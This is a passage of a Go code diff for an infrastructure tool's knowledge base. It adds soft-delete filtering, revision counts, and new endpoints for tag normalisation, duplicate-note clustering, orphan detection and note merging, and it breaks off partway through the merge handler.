err := tx.QueryRow(ctx, "SELECT coalesce(attributes::text,'{}') FROM entities WHERE id = $1", entityID).Scan(&attrs)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if !strings.Contains(attrs, "age_pubkey") {
|
|
||||||
return fmt.Errorf("age key not enrolled (no age_pubkey in attributes)")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
case "mesh-joined-if-needed":
|
|
||||||
if entityType == "workstation" {
|
|
||||||
var attrs string
|
|
||||||
err := tx.QueryRow(ctx, "SELECT coalesce(attributes::text,'{}') FROM entities WHERE id = $1", entityID).Scan(&attrs)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if !strings.Contains(attrs, "mesh_ip") {
|
|
||||||
return fmt.Errorf("mesh not joined (no mesh_ip in attributes)")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
case "health-check-answering":
|
|
||||||
st, err := sqlcgen.New(tx).GetEntityStatus(ctx, entityID)
|
|
||||||
if err != nil || st.Health == "unknown" || st.Health == "down" {
|
|
||||||
return fmt.Errorf("health check not answering (status: %s)", st.Health)
|
|
||||||
}
|
|
||||||
case "doc-page-complete":
|
|
||||||
var count int
|
|
||||||
err := tx.QueryRow(ctx, `
|
|
||||||
SELECT count(*) FROM relationships r
|
|
||||||
JOIN entities ke ON ke.id = r.source_id
|
|
||||||
WHERE r.target_id = $1 AND r.valid_to IS NULL
|
|
||||||
AND r.type = 'documents' AND ke.type IN ('document','runbook','investigation')`,
|
|
||||||
entityID).Scan(&count)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if count == 0 {
|
|
||||||
return fmt.Errorf("no documentation linked to entity")
|
|
||||||
}
|
|
||||||
case "inventory-entry", "ip-reserved", "storage-pool-chosen", "cancelled-note",
|
|
||||||
"preflight-passed", "error-summary", "replacement-live-or-role-retired",
|
|
||||||
"replacement-failed", "post-verify-passed", "recovery-verified", "written-off",
|
|
||||||
"ingress-live-if-public", "doc-page-stub":
|
|
||||||
// Soft checks — always pass. These are operator-confirmed via the
|
|
||||||
// transition request itself, or are not mechanically enforceable.
|
|
||||||
default:
|
|
||||||
// Unknown preconditions are skipped (operator intent overrides).
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// ─── Helpers ───────────────────────────────────────────────────────────
|
// ─── Helpers ───────────────────────────────────────────────────────────
|
||||||
|
|||||||
@@ -50,6 +50,7 @@ func (s *Server) serveRecentKnowledge(w http.ResponseWriter, req *http.Request)
|
|||||||
FROM knowledge_entities ke
|
FROM knowledge_entities ke
|
||||||
JOIN entities e ON e.id = ke.entity_id
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
WHERE ($1 = '' OR ke.source = $1)
|
WHERE ($1 = '' OR ke.source = $1)
|
||||||
|
AND ke.deleted_at IS NULL
|
||||||
ORDER BY ke.updated_at DESC
|
ORDER BY ke.updated_at DESC
|
||||||
LIMIT $2`, source, limit)
|
LIMIT $2`, source, limit)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -82,6 +83,7 @@ func (s *Server) serveRecentKnowledge(w http.ResponseWriter, req *http.Request)
|
|||||||
COUNT(*) FILTER (WHERE ke.source = 'nomos-agent'),
|
COUNT(*) FILTER (WHERE ke.source = 'nomos-agent'),
|
||||||
COUNT(*) FILTER (WHERE ke.updated_at > now() - interval '7 days')
|
COUNT(*) FILTER (WHERE ke.updated_at > now() - interval '7 days')
|
||||||
FROM knowledge_entities ke JOIN entities e ON e.id = ke.entity_id
|
FROM knowledge_entities ke JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE ke.deleted_at IS NULL
|
||||||
GROUP BY e.type`)
|
GROUP BY e.type`)
|
||||||
if err == nil {
|
if err == nil {
|
||||||
defer srows.Close()
|
defer srows.Close()
|
||||||
@@ -128,15 +130,19 @@ func (s *Server) serveKnowledgeContent(w http.ResponseWriter, req *http.Request)
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
var title, content, source string
|
var title, content, source, editedBy string
|
||||||
var tags []string
|
var tags []string
|
||||||
var updatedAt string
|
var updatedAt string
|
||||||
|
var revisions int
|
||||||
err = s.pool.QueryRow(ctx, `
|
err = s.pool.QueryRow(ctx, `
|
||||||
SELECT ke.title, ke.content, COALESCE(ke.source,''), ke.tags, ke.updated_at::text
|
SELECT ke.title, ke.content, COALESCE(ke.source,''), COALESCE(ke.edited_by,''),
|
||||||
|
ke.tags, ke.updated_at::text,
|
||||||
|
(SELECT count(*) FROM knowledge_revisions kr WHERE kr.entity_id = ke.entity_id)
|
||||||
FROM knowledge_entities ke
|
FROM knowledge_entities ke
|
||||||
JOIN entities e ON e.id = ke.entity_id
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
WHERE e.slug = $1 OR e.id::text = $1`, idOrSlug).
|
WHERE (e.slug = $1 OR e.id::text = $1)
|
||||||
Scan(&title, &content, &source, &tags, &updatedAt)
|
AND ke.deleted_at IS NULL`, idOrSlug).
|
||||||
|
Scan(&title, &content, &source, &editedBy, &tags, &updatedAt, &revisions)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
writeProblem(w, req, http.StatusNotFound, "no knowledge content for entity", "")
|
writeProblem(w, req, http.StatusNotFound, "no knowledge content for entity", "")
|
||||||
return
|
return
|
||||||
@@ -150,8 +156,10 @@ func (s *Server) serveKnowledgeContent(w http.ResponseWriter, req *http.Request)
|
|||||||
"title": title,
|
"title": title,
|
||||||
"content": content,
|
"content": content,
|
||||||
"source": source,
|
"source": source,
|
||||||
|
"edited_by": editedBy,
|
||||||
"tags": tags,
|
"tags": tags,
|
||||||
"updated_at": updatedAt,
|
"updated_at": updatedAt,
|
||||||
|
"revisions": revisions,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -169,6 +177,7 @@ func (s *Server) SearchKnowledge(ctx context.Context, request gen.SearchKnowledg
|
|||||||
JOIN entities e ON e.id = ke.entity_id
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
JOIN entity_types et ON et.name = e.type
|
JOIN entity_types et ON et.name = e.type
|
||||||
WHERE ke.search @@ plainto_tsquery('english', $1)
|
WHERE ke.search @@ plainto_tsquery('english', $1)
|
||||||
|
AND ke.deleted_at IS NULL
|
||||||
ORDER BY rank DESC
|
ORDER BY rank DESC
|
||||||
LIMIT $2`,
|
LIMIT $2`,
|
||||||
q, limit)
|
q, limit)
|
||||||
@@ -232,6 +241,7 @@ func (s *Server) GetEntityKnowledge(ctx context.Context, request gen.GetEntityKn
|
|||||||
WHERE target.slug = $1
|
WHERE target.slug = $1
|
||||||
AND r.valid_to IS NULL
|
AND r.valid_to IS NULL
|
||||||
AND r.type IN ('documents', 'about')
|
AND r.type IN ('documents', 'about')
|
||||||
|
AND ke.deleted_at IS NULL
|
||||||
UNION
|
UNION
|
||||||
SELECT e.id, e.slug, COALESCE(et.name,''), ke.title, ke.source, ke.tags
|
SELECT e.id, e.slug, COALESCE(et.name,''), ke.title, ke.source, ke.tags
|
||||||
FROM knowledge_entities ke
|
FROM knowledge_entities ke
|
||||||
@@ -242,6 +252,7 @@ func (s *Server) GetEntityKnowledge(ctx context.Context, request gen.GetEntityKn
|
|||||||
JOIN entities ent ON ent.type = target_type.name AND ent.slug = $1
|
JOIN entities ent ON ent.type = target_type.name AND ent.slug = $1
|
||||||
WHERE r.valid_to IS NULL
|
WHERE r.valid_to IS NULL
|
||||||
AND r.type = 'procedure-for'
|
AND r.type = 'procedure-for'
|
||||||
|
AND ke.deleted_at IS NULL
|
||||||
ORDER BY 2`,
|
ORDER BY 2`,
|
||||||
entitySlug)
|
entitySlug)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
544
internal/httpapi/knowledge_drift.go
Normal file
544
internal/httpapi/knowledge_drift.go
Normal file
@@ -0,0 +1,544 @@
|
|||||||
|
package httpapi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"log/slog"
|
||||||
|
"net/http"
|
||||||
|
"sort"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Drift tooling for the knowledge base — the maintenance half of the wiki.
|
||||||
|
//
|
||||||
|
// These endpoints exist because the knowledge base measurably rots on its
|
||||||
|
// own. Two failure modes are already present in live data:
|
||||||
|
//
|
||||||
|
// - **Duplicate pileup.** upsert_knowledge keys on exact title, so a note
|
||||||
|
// titled "rclone backup live inspection — 2026-07-15 10:08 UTC" and one
|
||||||
|
// titled "... 11:18 UTC" are different notes. A single day of agent
|
||||||
|
// activity produced eight near-identical investigations that should have
|
||||||
|
// been one living page. Nothing surfaced that, so it kept happening.
|
||||||
|
// - **Tag drift.** `oom` and `OOM` were separate tags; so were `422` and
|
||||||
|
// `proton-422`. Each split halves the usefulness of tag navigation, and
|
||||||
|
// neither is visible from any single note.
|
||||||
|
//
|
||||||
|
// normalizeTags (knowledge_write.go) stops new casing splits at the door;
|
||||||
|
// these endpoints clean up what's already there and make the rot visible.
|
||||||
|
|
||||||
|
// serveKnowledgeTags returns the tag index: every tag with its usage count,
|
||||||
|
// plus the distinct casings actually stored. `variants` is the interesting
|
||||||
|
// column — it's how the operator discovers that `oom` and `OOM` are the same
|
||||||
|
// idea filed twice, which no individual note reveals.
|
||||||
|
func (s *Server) serveKnowledgeTags(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT lower(tag) AS norm,
|
||||||
|
count(*) AS uses,
|
||||||
|
array_agg(DISTINCT tag ORDER BY tag) AS variants
|
||||||
|
FROM knowledge_entities ke, unnest(ke.tags) AS tag
|
||||||
|
WHERE ke.deleted_at IS NULL
|
||||||
|
GROUP BY lower(tag)
|
||||||
|
ORDER BY uses DESC, norm`)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
type tagRow struct {
|
||||||
|
Tag string `json:"tag"`
|
||||||
|
Uses int `json:"uses"`
|
||||||
|
Variants []string `json:"variants"`
|
||||||
|
// True when the same tag is stored under more than one casing —
|
||||||
|
// the UI badges these as needing a normalize.
|
||||||
|
Split bool `json:"split"`
|
||||||
|
}
|
||||||
|
items := []tagRow{}
|
||||||
|
for rows.Next() {
|
||||||
|
var t tagRow
|
||||||
|
if err := rows.Scan(&t.Tag, &t.Uses, &t.Variants); err != nil {
|
||||||
|
slog.Error("httpapi: knowledge/tags row scan failed", "error", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
t.Split = len(t.Variants) > 1
|
||||||
|
items = append(items, t)
|
||||||
|
}
|
||||||
|
|
||||||
|
writeJSON(w, map[string]any{"items": items})
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveRenameKnowledgeTag rewrites one or more tags to a single target across
|
||||||
|
// every live note — the merge/rename/normalize action behind the tag manager.
|
||||||
|
// Passing several `from` values into one `to` is the merge case
|
||||||
|
// (`{"from":["422","proton-422"],"to":"proton-422"}`); passing one is a plain
|
||||||
|
// rename; passing the mixed-case variants is the normalize case.
|
||||||
|
func (s *Server) serveRenameKnowledgeTag(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
var body struct {
|
||||||
|
From []string `json:"from"`
|
||||||
|
To string `json:"to"`
|
||||||
|
}
|
||||||
|
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
to := strings.ToLower(strings.TrimSpace(body.To))
|
||||||
|
from := []string{}
|
||||||
|
for _, f := range body.From {
|
||||||
|
if f = strings.TrimSpace(f); f != "" {
|
||||||
|
from = append(from, f)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if to == "" || len(from) == 0 {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "from and to are required", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Rebuild each affected note's tag array: map every `from` member to
|
||||||
|
// `to`, leave everything else alone, then de-duplicate. The dedupe
|
||||||
|
// matters for the merge case — a note tagged both `422` and
|
||||||
|
// `proton-422` would otherwise end up with `proton-422` twice.
|
||||||
|
//
|
||||||
|
// This is a plain UPDATE on knowledge_entities, so trg_knowledge_revision
|
||||||
|
// fires and every affected note gets a revision. A tag merge across 17
|
||||||
|
// notes is exactly the kind of bulk edit worth being able to inspect
|
||||||
|
// afterwards.
|
||||||
|
tag, err := s.pool.Exec(ctx, `
|
||||||
|
UPDATE knowledge_entities ke
|
||||||
|
SET tags = sub.new_tags, updated_at = now()
|
||||||
|
FROM (
|
||||||
|
SELECT k.entity_id,
|
||||||
|
ARRAY(SELECT DISTINCT CASE WHEN lower(t) = ANY($1) THEN $2 ELSE t END
|
||||||
|
FROM unnest(k.tags) AS t) AS new_tags
|
||||||
|
FROM knowledge_entities k
|
||||||
|
WHERE k.deleted_at IS NULL
|
||||||
|
AND EXISTS (SELECT 1 FROM unnest(k.tags) AS t WHERE lower(t) = ANY($1))
|
||||||
|
) AS sub
|
||||||
|
WHERE ke.entity_id = sub.entity_id`,
|
||||||
|
lowerAll(from), to)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "rename failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
_, actorLabel := actorInfo(ctx)
|
||||||
|
slog.Info("knowledge tags renamed", "from", from, "to", to,
|
||||||
|
"notes", tag.RowsAffected(), "actor", actorLabel)
|
||||||
|
writeJSON(w, map[string]any{"ok": true, "notes_updated": tag.RowsAffected()})
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveKnowledgeDuplicates clusters notes whose titles are near-identical.
|
||||||
|
//
|
||||||
|
// Pairwise trigram similarity is computed in SQL (indexed, and the whole
|
||||||
|
// point of pulling in pg_trgm); the grouping is done here in Go. Returning
|
||||||
|
// clusters rather than pairs matters for the real data: the rclone pileup
|
||||||
|
// produces dozens of pairs, which is unreadable, versus one cluster, which
|
||||||
|
// is the actionable unit.
|
||||||
|
//
|
||||||
|
// The grouping uses **complete linkage** — a note joins a cluster only if it
|
||||||
|
// is similar to every member already in it. The obvious implementation
|
||||||
|
// (union-find over the pairs) is single linkage, and on this data it chains
|
||||||
|
// badly: "A~B, B~C" merged notes that were not remotely alike, collapsing
|
||||||
|
// fifteen distinct backup events into one unusable blob. Requiring mutual
|
||||||
|
// similarity keeps clusters tight enough to act on.
|
||||||
|
//
|
||||||
|
// Even so, these are *candidates for review*, never a verdict. The five
|
||||||
|
// "Lifecycle: <verb> a node" runbooks are mutually similar by title and are
|
||||||
|
// five deliberately distinct documents — no threshold distinguishes them
|
||||||
|
// from a genuine duplicate, so merging stays a manual, previewed action.
|
||||||
|
func (s *Server) serveKnowledgeDuplicates(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
// 0.6, tuned against the live data: at 0.45 the "Lifecycle: <verb> a
|
||||||
|
// node" runbooks (five deliberately distinct documents that happen to
|
||||||
|
// share a naming template) formed a false-positive cluster; 0.6 clears
|
||||||
|
// that down to a single borderline pair while keeping every genuine
|
||||||
|
// duplicate cluster (the rclone/apt-audit/uptime pileups) intact.
|
||||||
|
// Tunable per request — the UI exposes this as the review net widens.
|
||||||
|
threshold := 0.6
|
||||||
|
if t := req.URL.Query().Get("threshold"); t != "" {
|
||||||
|
if v, err := strconv.ParseFloat(t, 64); err == nil && v > 0 && v <= 1 {
|
||||||
|
threshold = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
rows, err := s.pool.Query(ctx, `
|
||||||
|
SELECT a.slug, b.slug, similarity(ka.title, kb.title) AS sim
|
||||||
|
FROM knowledge_entities ka
|
||||||
|
JOIN knowledge_entities kb ON ka.entity_id < kb.entity_id
|
||||||
|
JOIN entities a ON a.id = ka.entity_id
|
||||||
|
JOIN entities b ON b.id = kb.entity_id
|
||||||
|
WHERE ka.deleted_at IS NULL AND kb.deleted_at IS NULL
|
||||||
|
AND similarity(ka.title, kb.title) > $1
|
||||||
|
ORDER BY sim DESC`, threshold)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
type pair struct {
|
||||||
|
A, B string
|
||||||
|
Sim float64
|
||||||
|
}
|
||||||
|
pairs := []pair{}
|
||||||
|
for rows.Next() {
|
||||||
|
var p pair
|
||||||
|
if err := rows.Scan(&p.A, &p.B, &p.Sim); err != nil {
|
||||||
|
slog.Error("httpapi: knowledge/duplicates row scan failed", "error", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
pairs = append(pairs, p)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Complete-linkage grouping. `pairs` arrives sorted by similarity
|
||||||
|
// descending, so each new cluster is seeded from the strongest remaining
|
||||||
|
// pair and then only grows with notes that are similar to *everything*
|
||||||
|
// already inside it.
|
||||||
|
sim := make(map[string]float64, len(pairs)*2)
|
||||||
|
key := func(a, b string) string {
|
||||||
|
if a > b {
|
||||||
|
a, b = b, a
|
||||||
|
}
|
||||||
|
return a + "\x00" + b
|
||||||
|
}
|
||||||
|
for _, p := range pairs {
|
||||||
|
sim[key(p.A, p.B)] = p.Sim
|
||||||
|
}
|
||||||
|
linked := func(a, b string) bool { return sim[key(a, b)] > 0 }
|
||||||
|
|
||||||
|
assigned := map[string]bool{}
|
||||||
|
type rawCluster struct {
|
||||||
|
members []string
|
||||||
|
top float64
|
||||||
|
}
|
||||||
|
raw := []rawCluster{}
|
||||||
|
|
||||||
|
for _, p := range pairs {
|
||||||
|
if assigned[p.A] || assigned[p.B] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
c := rawCluster{members: []string{p.A, p.B}, top: p.Sim}
|
||||||
|
assigned[p.A], assigned[p.B] = true, true
|
||||||
|
|
||||||
|
// Sweep the remaining pairs for candidates that connect to every
|
||||||
|
// current member. Repeat until a full pass adds nothing, since
|
||||||
|
// admitting one member can qualify another.
|
||||||
|
for grew := true; grew; {
|
||||||
|
grew = false
|
||||||
|
for _, q := range pairs {
|
||||||
|
for _, cand := range []string{q.A, q.B} {
|
||||||
|
if assigned[cand] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
ok := true
|
||||||
|
for _, m := range c.members {
|
||||||
|
if !linked(cand, m) {
|
||||||
|
ok = false
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ok {
|
||||||
|
c.members = append(c.members, cand)
|
||||||
|
assigned[cand] = true
|
||||||
|
grew = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
raw = append(raw, c)
|
||||||
|
}
|
||||||
|
|
||||||
|
groups := map[string][]string{}
|
||||||
|
best := map[string]float64{}
|
||||||
|
for _, c := range raw {
|
||||||
|
root := c.members[0]
|
||||||
|
groups[root] = c.members
|
||||||
|
best[root] = c.top
|
||||||
|
}
|
||||||
|
|
||||||
|
// Re-fetch display detail for the clustered slugs only.
|
||||||
|
type member struct {
|
||||||
|
Slug string `json:"slug"`
|
||||||
|
Title string `json:"title"`
|
||||||
|
Kind string `json:"kind"`
|
||||||
|
Size int `json:"size"`
|
||||||
|
UpdatedAt string `json:"updated_at"`
|
||||||
|
EditedBy string `json:"edited_by"`
|
||||||
|
}
|
||||||
|
detail := map[string]member{}
|
||||||
|
if len(groups) > 0 {
|
||||||
|
all := []string{}
|
||||||
|
for _, g := range groups {
|
||||||
|
all = append(all, g...)
|
||||||
|
}
|
||||||
|
drows, derr := s.pool.Query(ctx, `
|
||||||
|
SELECT e.slug, ke.title, e.type, length(ke.content),
|
||||||
|
ke.updated_at::text, COALESCE(ke.edited_by,'')
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE e.slug = ANY($1) AND ke.deleted_at IS NULL`, all)
|
||||||
|
if derr != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "detail query failed", derr.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer drows.Close()
|
||||||
|
for drows.Next() {
|
||||||
|
var m member
|
||||||
|
if err := drows.Scan(&m.Slug, &m.Title, &m.Kind, &m.Size, &m.UpdatedAt, &m.EditedBy); err != nil {
|
||||||
|
slog.Error("httpapi: knowledge/duplicates detail scan failed", "error", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
detail[m.Slug] = m
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
type cluster struct {
|
||||||
|
Members []member `json:"members"`
|
||||||
|
TopSim float64 `json:"top_similarity"`
|
||||||
|
TotalSize int `json:"total_size"`
|
||||||
|
}
|
||||||
|
out := []cluster{}
|
||||||
|
for root, slugs := range groups {
|
||||||
|
c := cluster{TopSim: best[root]}
|
||||||
|
for _, sl := range slugs {
|
||||||
|
if m, ok := detail[sl]; ok {
|
||||||
|
c.Members = append(c.Members, m)
|
||||||
|
c.TotalSize += m.Size
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(c.Members) < 2 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
// Newest first inside a cluster — the most recent note is usually
|
||||||
|
// the one worth keeping as the merge target.
|
||||||
|
sort.Slice(c.Members, func(i, j int) bool {
|
||||||
|
return c.Members[i].UpdatedAt > c.Members[j].UpdatedAt
|
||||||
|
})
|
||||||
|
out = append(out, c)
|
||||||
|
}
|
||||||
|
// Biggest clusters first: an eight-note pileup deserves attention before
|
||||||
|
// a two-note coincidence.
|
||||||
|
sort.Slice(out, func(i, j int) bool {
|
||||||
|
if len(out[i].Members) != len(out[j].Members) {
|
||||||
|
return len(out[i].Members) > len(out[j].Members)
|
||||||
|
}
|
||||||
|
return out[i].TopSim > out[j].TopSim
|
||||||
|
})
|
||||||
|
|
||||||
|
writeJSON(w, map[string]any{"clusters": out, "threshold": threshold})
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveKnowledgeOrphans surfaces notes that have fallen out of every
|
||||||
|
// navigation path — the ones that are technically present but effectively
|
||||||
|
// unreachable, and so quietly stop being maintained.
|
||||||
|
//
|
||||||
|
// Three independent reasons, reported per note (a note can have several):
|
||||||
|
// - untagged: invisible to tag navigation
|
||||||
|
// - unlinked: not `about` any entity, so it never appears on a machine's page
|
||||||
|
// - stale: untouched for 90+ days
|
||||||
|
func (s *Server) serveKnowledgeOrphans(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
staleDays := 90
|
||||||
|
if d := req.URL.Query().Get("stale_days"); d != "" {
|
||||||
|
if v, err := strconv.Atoi(d); err == nil && v > 0 && v <= 3650 {
|
||||||
|
staleDays = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
rows, err := s.pool.Query(ctx, fmt.Sprintf(`
|
||||||
|
SELECT e.slug, ke.title, e.type, COALESCE(ke.edited_by,''),
|
||||||
|
ke.updated_at::text,
|
||||||
|
(ke.tags IS NULL OR cardinality(ke.tags) = 0) AS untagged,
|
||||||
|
NOT EXISTS (
|
||||||
|
SELECT 1 FROM relationships r
|
||||||
|
WHERE r.source_id = ke.entity_id AND r.valid_to IS NULL
|
||||||
|
AND r.type IN ('documents', 'about')
|
||||||
|
) AS unlinked,
|
||||||
|
(ke.updated_at < now() - interval '%d days') AS stale
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE ke.deleted_at IS NULL
|
||||||
|
ORDER BY ke.updated_at ASC`, staleDays))
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "query failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
type orphan struct {
|
||||||
|
Slug string `json:"slug"`
|
||||||
|
Title string `json:"title"`
|
||||||
|
Kind string `json:"kind"`
|
||||||
|
EditedBy string `json:"edited_by"`
|
||||||
|
UpdatedAt string `json:"updated_at"`
|
||||||
|
Reasons []string `json:"reasons"`
|
||||||
|
}
|
||||||
|
items := []orphan{}
|
||||||
|
counts := map[string]int{"untagged": 0, "unlinked": 0, "stale": 0}
|
||||||
|
for rows.Next() {
|
||||||
|
var o orphan
|
||||||
|
var untagged, unlinked, stale bool
|
||||||
|
if err := rows.Scan(&o.Slug, &o.Title, &o.Kind, &o.EditedBy, &o.UpdatedAt,
|
||||||
|
&untagged, &unlinked, &stale); err != nil {
|
||||||
|
slog.Error("httpapi: knowledge/orphans row scan failed", "error", err)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
o.Reasons = []string{}
|
||||||
|
if untagged {
|
||||||
|
o.Reasons = append(o.Reasons, "untagged")
|
||||||
|
counts["untagged"]++
|
||||||
|
}
|
||||||
|
if unlinked {
|
||||||
|
o.Reasons = append(o.Reasons, "unlinked")
|
||||||
|
counts["unlinked"]++
|
||||||
|
}
|
||||||
|
if stale {
|
||||||
|
o.Reasons = append(o.Reasons, "stale")
|
||||||
|
counts["stale"]++
|
||||||
|
}
|
||||||
|
if len(o.Reasons) > 0 {
|
||||||
|
items = append(items, o)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
writeJSON(w, map[string]any{
|
||||||
|
"items": items,
|
||||||
|
"counts": counts,
|
||||||
|
"stale_days": staleDays,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveMergeKnowledge folds several notes into one: each source's body is
|
||||||
|
// appended to the target under a provenance heading, the union of all tags is
|
||||||
|
// kept, and the sources are soft-deleted.
|
||||||
|
//
|
||||||
|
// Append rather than discard, and soft-delete rather than hard: a merge is a
|
||||||
|
// judgement call made from a similarity score, and the operator needs to be
|
||||||
|
// able to walk it back. The target's pre-merge state is captured by the
|
||||||
|
// revision trigger, so the merge itself is undoable from the History tab.
|
||||||
|
func (s *Server) serveMergeKnowledge(w http.ResponseWriter, req *http.Request) {
|
||||||
|
ctx := req.Context()
|
||||||
|
|
||||||
|
var body struct {
|
||||||
|
Target string `json:"target"`
|
||||||
|
Sources []string `json:"sources"`
|
||||||
|
}
|
||||||
|
if err := json.NewDecoder(req.Body).Decode(&body); err != nil {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "invalid request body", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(body.Target) == "" || len(body.Sources) == 0 {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "target and sources are required", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
targetID, err := s.resolveKnowledgeEntity(ctx, body.Target)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusNotFound, "target note not found", body.Target)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_, actorLabel := actorInfo(ctx)
|
||||||
|
|
||||||
|
tx, err := s.pool.Begin(ctx)
|
||||||
|
if err != nil {
|
||||||
|
writeProblem(w, req, http.StatusInternalServerError, "begin failed", err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer tx.Rollback(ctx)
|
||||||
|
|
||||||
|
var merged []string
|
||||||
|
var appended strings.Builder
|
||||||
|
tagSet := map[string]bool{}
|
||||||
|
|
||||||
|
for _, srcSlug := range body.Sources {
|
||||||
|
if srcSlug == body.Target {
|
||||||
|
continue // merging a note into itself would duplicate its body
|
||||||
|
}
|
||||||
|
var srcTitle, srcContent, srcUpdated string
|
||||||
|
var srcTags []string
|
||||||
|
err := tx.QueryRow(ctx, `
|
||||||
|
SELECT ke.title, ke.content, COALESCE(ke.tags,'{}'), ke.updated_at::text
|
||||||
|
FROM knowledge_entities ke
|
||||||
|
JOIN entities e ON e.id = ke.entity_id
|
||||||
|
WHERE (e.slug = $1 OR e.id::text = $1) AND ke.deleted_at IS NULL`,
|
||||||
|
srcSlug).Scan(&srcTitle, &srcContent, &srcTags, &srcUpdated)
|
||||||
|
if err != nil {
|
||||||
|
slog.Warn("knowledge merge: source not found, skipping", "slug", srcSlug)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
appended.WriteString("\n\n---\n\n## Merged: ")
|
||||||
|
appended.WriteString(srcTitle)
|
||||||
|
appended.WriteString("\n\n*Originally ")
|
||||||
|
appended.WriteString(srcSlug)
|
||||||
|
appended.WriteString(", last updated ")
|
||||||
|
appended.WriteString(srcUpdated)
|
||||||
|
appended.WriteString("*\n\n")
|
||||||
|
appended.WriteString(srcContent)
|
||||||
|
for _, t := range srcTags {
|
||||||
|
tagSet[strings.ToLower(strings.TrimSpace(t))] = true
|
||||||
|
}
|
||||||
|
merged = append(merged, srcSlug)
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(merged) == 0 {
|
||||||
|
writeProblem(w, req, http.StatusBadRequest, "no valid source notes to merge", "")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
extraTags := make([]string, 0, len(tagSet))
|
||||||
|
for t := range tagSet {
|
||||||
|
if t != "" {
|
||||||
|
extraTags = append(extraTags, t)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sort.Strings(extraTags)
|
||||||
|
|
||||||
|
// The array concat + DISTINCT keeps the target's own tags first and adds
|
||||||
|
// only what the sources contribute.
|
||||||
|
